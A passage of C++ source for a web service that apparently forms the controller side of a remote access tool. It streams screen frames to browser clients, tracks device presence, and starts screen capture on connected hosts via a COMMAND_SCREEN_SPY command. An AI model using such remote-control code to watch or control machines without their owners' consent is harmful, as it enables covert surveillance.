if (client.watch_device_id == device_id) {
SendBinary(ws_ptr, data, len);
sent_count++;
}
}
// Cache keyframe (check FrameType byte at offset 4)
if (data[4] == 1) { // IDR frame
CacheKeyframe(device_id, data, len);
}
}
void CWebService::NotifyResolutionChange(uint64_t device_id, int width, int height) {
if (m_bStopping) return;
// Update cache
{
std::lock_guard<std::mutex> lock(m_DeviceCacheMutex);
auto it = m_DeviceCache.find(device_id);
if (it == m_DeviceCache.end()) {
m_DeviceCache[device_id] = std::make_shared<WebDeviceInfo>();
it = m_DeviceCache.find(device_id);
}
it->second->screen_width = width;
it->second->screen_height = height;
}
// Notify watching clients
Json::Value res;
res["cmd"] = "resolution_changed";
res["id"] = device_id;
res["width"] = width;
res["height"] = height;
Json::StreamWriterBuilder builder;
builder["indentation"] = "";
std::string json = Json::writeString(builder, res);
std::lock_guard<std::mutex> lock(m_ClientsMutex);
for (auto& [ws_ptr, client] : m_Clients) {
if (client.watch_device_id == device_id) {
SendText(ws_ptr, json);
}
}
}
bool CWebService::StartRemoteDesktop(uint64_t device_id) {
if (!m_pParentDlg) return false;
context* ctx = m_pParentDlg->FindHost(device_id);
if (!ctx) return false;
// Close any existing remote desktop for this device first
// This prevents duplicate dialogs when user reconnects quickly
m_pParentDlg->CloseRemoteDesktopByClientID(device_id);
// Mark as web-triggered (dialog should be hidden)
{
std::lock_guard<std::mutex> lock(m_WebTriggeredMutex);
m_WebTriggeredDevices.insert(device_id);
}
// Send COMMAND_SCREEN_SPY with H264 algorithm
// Format: [COMMAND_SCREEN_SPY:1][DXGI:1][Algorithm:1][MultiScreen:1]
BYTE bToken[32] = { 0 };
bToken[0] = COMMAND_SCREEN_SPY;
bToken[1] = 0; // DXGI mode: 0=GDI
bToken[2] = ALGORITHM_H264; // H264 algorithm
bToken[3] = 1; // Multi-screen: true
return ctx->Send2Client(bToken, sizeof(bToken)) != FALSE;
}
void CWebService::StopRemoteDesktop(uint64_t device_id) {
if (!m_pParentDlg) return;
// Check if any other web clients are watching this device
int watchingCount = 0;
{
std::lock_guard<std::mutex> lock(m_ClientsMutex);
for (const auto& [ws_ptr, client] : m_Clients) {
if (client.watch_device_id == device_id) {
watchingCount++;
}
}
}
// If no more web clients watching, close the remote desktop
if (watchingCount == 0) {
ClearWebTriggered(device_id);
m_pParentDlg->CloseRemoteDesktopByClientID(device_id);
}
}
//////////////////////////////////////////////////////////////////////////
// Screen Context Registry (for mouse/keyboard control)
//////////////////////////////////////////////////////////////////////////
void CWebService::RegisterScreenContext(uint64_t device_id, CONTEXT_OBJECT* ctx) {
if (!m_bRunning) return;
std::lock_guard<std::mutex> lock(m_ScreenContextsMutex);
m_ScreenContexts[device_id] = ctx;
Mprintf("[WebService] Registered screen context for device %llu\n", device_id);
}
void CWebService::UnregisterScreenContext(uint64_t device_id) {
if (!m_bRunning) return;
std::lock_guard<std::mutex> lock(m_ScreenContextsMutex);
m_ScreenContexts.erase(device_id);
Mprintf("[WebService] Unregistered screen context for device %llu\n", device_id);
}
CONTEXT_OBJECT* CWebService::GetScreenContext(uint64_t device_id) {
std::lock_guard<std::mutex> lock(m_ScreenContextsMutex);
auto it = m_ScreenContexts.find(device_id);
return (it != m_ScreenContexts.end()) ? it->second : nullptr;
}
//////////////////////////////////////////////////////////////////////////
// Device Events
//////////////////////////////////////////////////////////////////////////
void CWebService::MarkDeviceOnline(uint64_t device_id) {
std::lock_guard<std::mutex> lock(m_DirtyDevicesMutex);
m_OnlineDevices.insert(device_id);
m_OfflineDevices.erase(device_id); // Cancel pending offline if any
}
void CWebService::MarkDeviceOffline(uint64_t device_id) {
std::lock_guard<std::mutex> lock(m_DirtyDevicesMutex);
m_OfflineDevices.insert(device_id);
m_OnlineDevices.erase(device_id); // Cancel pending online if any
}
void CWebService::FlushDeviceChanges() {
if (!m_bRunning || m_bStopping) return;
// Collect changes under lock
std::set<uint64_t> online, offline;
{
std::lock_guard<std::mutex> lock(m_DirtyDevicesMutex);
if (m_OnlineDevices.empty() && m_OfflineDevices.empty()) {
return; // No changes
}
online = std::move(m_OnlineDevices);
offline = std::move(m_OfflineDevices);
m_OnlineDevices.clear();
m_OfflineDevices.clear();
}
// Notify clients watching offline devices
if (!offline.empty()) {
std::lock_guard<std::mutex> lock(m_ClientsMutex);
for (auto& [ws_ptr, client] : m_Clients) {
if (offline.count(client.watch_device_id)) {
Json::Value res;
res["cmd"] = "device_offline";
res["id"] = std::to_string(client.watch_device_id);
Json::StreamWriterBuilder builder;
builder["indentation"] = "";
SendText(ws_ptr, Json::writeString(builder, res));
client.watch_device_id = 0;
}
}
}
// Clear offline devices from cache
{
std::lock_guard<std::mutex> lock(m_DeviceCacheMutex);
for (uint64_t id : offline) {
m_DeviceCache.erase(id);
}
}
// Build and broadcast devices_changed message
Json::Value msg;
msg["cmd"] = "devices_changed";
msg["online"] = Json::Value(Json::arrayValue);
msg["offline"] = Json::Value(Json::arrayValue);
for (uint64_t id : online) {
msg["online"].append(std::to_string(id));
}
for (uint64_t id : offline) {
msg["offline"].append(std::to_string(id));
}
Json::StreamWriterBuilder builder;
builder["indentation"] = "";
std::string json = Json::writeString(builder, msg);
// Broadcast to all authenticated clients
std::lock_guard<std::mutex> lock(m_ClientsMutex);
for (const auto& [ws_ptr, client] : m_Clients) {
if (!client.token.empty()) {
SendText(ws_ptr, json);
}
}
}
bool CWebService::IsWebTriggered(uint64_t device_id) {
std::lock_guard<std::mutex> lock(m_WebTriggeredMutex);
return m_WebTriggeredDevices.find(device_id) != m_WebTriggeredDevices.end();
}
void CWebService::ClearWebTriggered(uint64_t device_id) {
std::lock_guard<std::mutex> lock(m_WebTriggeredMutex);
m_WebTriggeredDevices.erase(device_id);
}
void CWebService::NotifyDeviceUpdate(uint64_t device_id, const std::string& rtt, const std::string& activeWindow) {
if (!m_bRunning || m_bStopping) return;
// Build update message
Json::Value msg;
msg["cmd"] = "device_update";
msg["id"] = std::to_string(device_id);
msg["rtt"] = rtt;
msg["activeWindow"] = activeWindow;
Json::StreamWriterBuilder builder;
builder["indentation"] = "";
std::string json_str = Json::writeString(builder, msg);
// Broadcast to all authenticated clients
std::lock_guard<std::mutex> lock(m_ClientsMutex);
for (const auto& [ws_ptr, client] : m_Clients) {
if (!client.token.empty()) {
SendText(ws_ptr, json_str);
}
}
}